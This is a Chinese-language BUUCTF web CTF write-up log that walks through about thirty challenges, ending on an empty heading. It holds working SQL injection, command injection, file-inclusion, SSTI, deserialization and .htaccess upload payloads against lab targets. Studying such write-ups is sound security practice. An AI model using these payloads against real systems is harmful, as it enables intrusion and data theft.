BUUCTF WEB做题记录
2024.12.2正式开启buuctf web题目,此文为记录,题目顺序可能是随意的~
[极客大挑战 2019]EasySQL
直接万能密码1' or 1=1#
[极客大挑战 2019]Havefun
源代码最后发现
?cat=dog
[HCTF 2018]WarmUp
源代码提示 source.php 进去看看是查看 hint.php 发现 flag 在 ffffllllaaaagggg
分析一下 source.php 的代码
定义了一个名为emmm的类,在该类中有一个静态方法checkFile用于检查要包含的文件是否在白名单中,白名单是一个关联数组$whitelist,其中包含了允许包含的文件的键值对。在代码中,允许包含的文件有"source"=>“source.php"和"hint”=>“hint.php”
还要检查传入的$page参数是否为字符串类型,如果不是或者未设置,将输出"you can’t see it"并返回false
接下来,它检查传入的$page是否直接在白名单中存在,如果存在,返回true。
然后它会对$page
参数进行一系列处理:首先使用mb_strpos
找到$page
中第一个问号的位置,然后使用mb_substr
函数将问号之前的部分作为$_page
进行处理。
注意:我们始终是在source.php页面下进行的传参操作,目的是利用include函数将flag文件包含出来,不要被这里的白名单搞混了。
让我们来分析一下传入这个东西后,php代码是如何进行判断的:
传入file=hint.php
,首先检查’hint.php
‘是否是一个字符串,它是字符串,条件通过;
检查’hint.php
‘是否在白名单中(白名单包括hint.php
和source.php
),在,继续执行后面的代码;
对’hint.php
‘执行mb_substr
函数,但是函数内一个参数是来自另一个函数mb_strpos
的返回值,因此我们先看mb_strpos
函数,使用.
进行字符连接,即连接了一个问号字符 ‘?
’,得到hint.php?
然后查找’?
‘在字符串’hint.php?
‘中第一次出现的位置,从0开始算,返回8,即length=8
接下来我们执行mb_substr
函数,即 mb_substr('hint.php',0,8)
从字符串中的第一个字符处开始,返回8个字符,其实还是返回的hint.php
;
然后对返回的内容进行url解码,重复执行上面的检查和截取操作。
我们只需要传入一个在白名单内的文件名(source.php
或者hint.php
),并添加上问号,这样可以保证每次找去用于检查的内容都在白名单,返回true。
构造payload:
source.php?file=hint.php?/../../../../ffffllllaaaagggg
或者用
source.php?file=source.php?/../../../../ffffllllaaaagggg
[ACTF2020 新生赛]Include
直接文件包含
?file=php://filter/read=convert.base64-encode/resource=flag.php
[ACTF2020 新生赛]Exec
简单命令执行
1; cat /flag
[GXYCTF2019]Ping Ping Ping
打开题目只有一个/?ip=
,随便输入1
发现ping
命令回显,那么后端很可能通过PHP接受了ip参数,并且拼接到了最终执行的命令中,形成了ping -c $ip
,这样就可能存在一个命令注入漏洞
直接输入?ip=1;ls
发现有回显,说明存在命令注入漏洞
直接读取?ip=1;tac flag.php
发现空格被过滤,尝试替换空格
用%09
代替空格,发现不让用,再尝试别的
用$IFS$9
,出现flag
过滤,尝试各种绕过,发现都不行
好好好!这样是吧,那我看源码
但是貌似不全,可能是因为其他原因导致,Ctrl+U
看源码
/?ip=
<pre>PING 1 (0.0.0.1): 56 data bytes
?>
}
print_r($a);
echo "<pre>";
$a = shell_exec("ping -c 4 ".$ip);
}
die("fxck your flag!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your bash!");
} else if(preg_match("/bash/", $ip)){
die("fxck your space!");
} else if(preg_match("/ /", $ip)){
die("fxck your symbol!");
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
$ip = $_GET['ip'];
if(isset($_GET['ip'])){
<?php
/?ip=
法1——变量覆盖
payload:
?ip=1;a=g;tac$IFS$9fla$a.php
或者
?ip=1;a=f;d=ag;c=l;tac$IFS$9$a$c$d.php
法2——base64
源码看到过滤了bash
,就用sh
payload:
?ip=1;echo$IFS$9dGFjIGZsYWcucGhw|base64$IFS$9-d|sh
法3——骚操作
直接将当前目录下所有文件全部tac出来
payload:
?ip=1;tac$IFS$9`ls`
[SUCTF 2019]EasySQL
fuzz一下,发现过滤挺多
这道题目需要我们去对后端语句进行猜测, 有点矛盾的地方在于其描述的功能和实际的功能似乎并不相符, 通过输入非零数字得到的回显1和输入其余字符得不到回显来判断出内部的查询语句可能存在有 ||, 也就是 select 输入的数据||内置的一个列名 from 表名
, 进一步进行猜测即为 select post 进去的数据||flag from Flag
(含有数据的表名, 通过堆叠注入可知), 需要注意的是, 此时的 || 起到的作用是 or 的作用.
sql = "select $_POST['query'] || flag from Flag";
看到 ||
想到了之前命令执行的 payload
cmd1 || cmd2 # 如果 cmd1 正常执行就不会执行 cmd2
法1
payload:*,1
拼接进内部语句就是
select *,1 || flag from Flag;
把语句分开看, 逗号前面是 *
, 而逗号后面的 1 || flag
是一个整体, 这个整体返回的就是 true
这就类似于平常查表的时候执行 select name,age from students
, 通过逗号来查询多个字段
为啥是 *,1
而不能是 1,*
? 后者在 mysql 里执行会报错
* || flag
本身就是个错误的写法, 通配符无法表示真假性
最后再说一下, payload 的关键点在于 *
, 而后面的数字不影响执行的结果, 改成其它值也是可以的
法2
payload:1;set sql_mode=pipes_as_concat;select 1
这是在已经知道了 SQL 语句中含有 ||
的前提下, 通过更改 mysql 的配置来改变 ||
的功能
光看单词也很容易理解, 将 ||
功能从逻辑运算符更改为拼接字符串
mysql> set sql_mode=pipes_as_concat;
Query OK, 0 rows affected (0.00 sec)
mysql> select 1||2||3||4||5;
+---------------+
| 1||2||3||4||5 |
+---------------+
| 12345 |
+---------------+
1 row in set (0.00 sec)
这样之后执行 select 1 || flag from Flag
的时候, 也会把 flag 显示出来 (拼接)
[强网杯 2019]随便注
联合查询时发现过滤,用堆叠注入看看
1';show tables;
猜测在 1919810931114514 表中
1';show columns from `1919810931114514`;
果然发现 flag 字段
法1——handler
利用 handler 函数,这个函数可以在不知道字段名的前提下查询出字段的值
1';handler `1919810931114514` open as aaa;handler aaa read first;
其中的aaa为我们自己定义的名字,first为读第一行数据,与他并列的还有next(读取下一行)。
使用handler 读取数据 这个handler只能一行一行的读取使用read first、next、prev、last等函数去读取,用法为:
1.打开表 handler table_name open
2.读取第一行 handler table_name read first或者(next)
3.关闭表 handler table_name close
所以其实对于这道题也可以不取别名直接使用:
1';handler `1919810931114514` open;handler `1919810931114514` read next;
法2——rename
1';rename table words to words1;rename table flag_here to words;alter table words change flag id varchar(100);#
rename命令用于修改表名。
rename命令格式:rename table 原表名 to 新表名;
这道题select被过滤了,意味着这道题无法联合(union)注入,而它的内部查询语句为:
select id,data from word where id =
网页的回显都是words这个表给的回显,而我们的flag放在数字表里,那么我们需要让数字表回显出来flag了,这时直接堆叠注入只会有words表的回显,这里的解决办法便是把数字表改为words表名。
1.先对words进行改表名防止重名:rename table `words` to `word`;
2.将数字表改为words表名(在窗口回显内容):rename table `1919810931114514` to `words`;
3.我们查表结构时看到words里有两个字段id列和数据data,但数字表没有id,所以我们把flag换成id:alter table `words` change `flag` `id` varchar(100);
如果修改flag为id直接堆叠:
1';rename table `words` to `word`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);#
然后用万能密码即可显示出表里的所有数据,自然也包括flag了。
法3——预处理
当然除了这种方法还可以使用预处理解决,如:
1'; Set @a=concat("sele","ct flag from `1919810931114514`");prepare h from @a;execute h;
预处理基于三个SQL语句:
PREPARE stmt_name FROM preparable_stmt;
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
{DEALLOCATE | DROP} PREPARE stmt_name;
PREPARE语句用于预备一个语句,并赋予它名称stmt_name,借此在以后引用该语句。语句名称对案例不敏感。preparable_stmt可以是一个文字字符串,也可以是一个包含了语句文本的用户变量。该文本必须展现一个单一的SQL语句,而不是多个语句。使用本语句,‘?’字符可以被用于制作参数,以指示当您执行查询时,数据值在哪里与查询结合在一起。‘?’字符不应加引号,即使您想要把它们与字符串值结合在一起,也不要加引号。参数制作符只能被用于数据值应该出现的地方,不用于SQL关键词和标识符等。
当然我们只用掌握它的运用即可,即:
Set @a='语句';prepare h from @a;execute h;
[极客大挑战 2019]LoveSQL
看字段数量
1' order by 3
判断回显位
1' union select 1,2,3#
看数据库
1' union select 1,2,group_concat(schema_name) from information_schema.schemata#
看表
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#
看字段
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
看数据
1' union select 1,2,group_concat(username,password) from geek.l0ve1ysq1#
[极客大挑战 2019]Secret
一层层套娃,最后抓包得到 secr3t.php
?file=php://filter/read=convert.base64-encode/resource=flag.php
[极客大挑战 2019]Http
Referer UA X-Forwarded-For
[极客大挑战 2019]Upload
后缀为黑名单过滤, 同时检测了文件头和文件内容
文件内容不能包含 <?
, 使用 script 标签绕过蚁剑链接
[极客大挑战 2019]Knife
直接蚁剑一把梭
[ACTF2020 新生赛]Upload
黑名单,后缀改为 phtml
[极客大挑战 2019]BabySQL
过滤 or union select where from ,双写绕过
查找回显位
1' uunionnion sselectelect 1,2,3#
看数据库
1' ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#
看表
1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'#
看字段
1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag'#
看数据
1' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag#
[极客大挑战 2019]PHP
www.zip 下载源码
index.php
class.php反序列化绕过 __wakeup
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
//将属性值增大以绕过 __wakeup,并且因为private属性有不可见字符,所以将整串字符串进行urlencode
echo urlencode(serialize(new Name()));
payload:
?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
[ACTF2020 新生赛]BackupFile
下载 index.php.bak
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
弱类型比较
?key=123
[RoarCTF 2019]Easy Calc
calc.php根据 PHP字符串解析特性 绕过 WAF 只用将?num
改为 ?%20num
因为此处过滤\
所以用chr(47)
构造替代
## [极客大挑战 2019]BuyFlag
看源码 pay.php
弱类型
提交 404aaa 之后提示 You must be a student from CUIT !!!
Cookie 把 user=0
改成 user=1
, post 再传入 money=100000000
然后提示数字太长了… 改成 money[]=100000000
就行
[BJDCTF2020]Easy MD5
抓包返回头提示
password=md5($pass,true)
绕过用ffifdyop
跳转到下一关 levels91.php
源代码
?a[]=1&b[]=2
数组绕过
继续跳转任然数组绕过,顺手的事
[HCTF 2018]admin
附件在github上被删了看不了damn
[MRCTF2020]你传你🐎呢
先包含 .htaccess 在上传jpg图片
<IfModule mime_module>
AddType application/x-httpd-php .jpg
</IfModule>
每次上传后会给你设置一个 PHPSESSID, 如果你继续拿着这个 cookie 上传的话文件夹就不会变
[护网杯 2018]easy_tornado
url 格式如下
http://211ce077-6c56-419a-afb4-c599c568ac43.node4.buuoj.cn:81/file?filename=/flag.txt&filehash=0e24e12b6089646e7071af7883716075
flag.txt
flag in /fllllllllllllag
welcome.txt
render
hints.txt
md5(cookie_secret+md5(filename))
考点应该是 ssti, 我们需要找到 cookie_secret 的值, 然后和 /fllllllllllllag 拼接构造 filehash, 这样才能正常查看 flag 内容
filehash 随便改了改, 跳转到了报错页面存在 ssti, 但过滤了很多, 只有 .
没有被过滤
在官方文档里搜了一下 cookie_secret https://tornado-zh.readthedocs.io/zh/latest/index.html
看起来好像是 tornado 内部的变量, 不是用户自定义的
想到了 flask 的 config, tornado 应该也有类似的变量
继续在文档里搜索 cookie_secret
, 没搜到…
换个思路, 去 tornado 的源码里面搜, 发现了下面这一行self.application.settings
有点可疑, 继续搜试试往上拉找到这个方法对应的类RequestHandler 类, 但是利用 ssti 查看 RequestHandler.settings
的内容会报错
然后又去文档里找了找?msg={{handler.settings}}
查看cookie_secret
from hashlib import md5
cookie_secret = '7814c35a-045a-4741-8ff1-f225556aaf1b'
filename = '/fllllllllllllag'
# 计算 filename 的 MD5 哈希值
filename_hash = md5(filename.encode()).hexdigest()
# 计算最终的哈希值
final_hash = md5((cookie_secret + filename_hash).encode()).hexdigest()
print(final_hash)
将其拼接访问得到 flag
?filename=/fllllllllllllag&filehash=c2a394bf6029f32a7c9114f31201fe11
[ZJCTF 2019]NiZhuanSiWei
用 php://filter 读文件
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
useless.php
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
生成序列化字符串
<?php
class Flag{ //flag.php
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
echo serialize(new Flag());
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
//
payload:
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
[MRCTF2020]Ez_bypass
GET:?gg[]=1&id[]=2
POST:passwd=1234567a
[极客大挑战 2019]HardSQL
牛魔的这么多全过滤了
用^
替代 and
作为连接符
查看数据库名
1'^extractvalue(1,concat(0x7e,(database()),0x7e))%23
查看表名
1'or(updatexml(0,concat(0x5e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))),0))#
查看列名
1'or(updatexml(0,concat(0x5e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),0))#
查看值
1'or(updatexml(0,concat(0x5e,(select(group_concat(password))from(H4rDsq1))),0))#
因为报错只能回显32位字符串,这里只回显了一部分的flag,接着用截断函数right查看身下的部分
1'or(updatexml(0,concat(0x5e,right((select(group_concat(password))from(H4rDsq1)),31)),0))#
[网鼎杯 2020 青龙组]AreUSerialz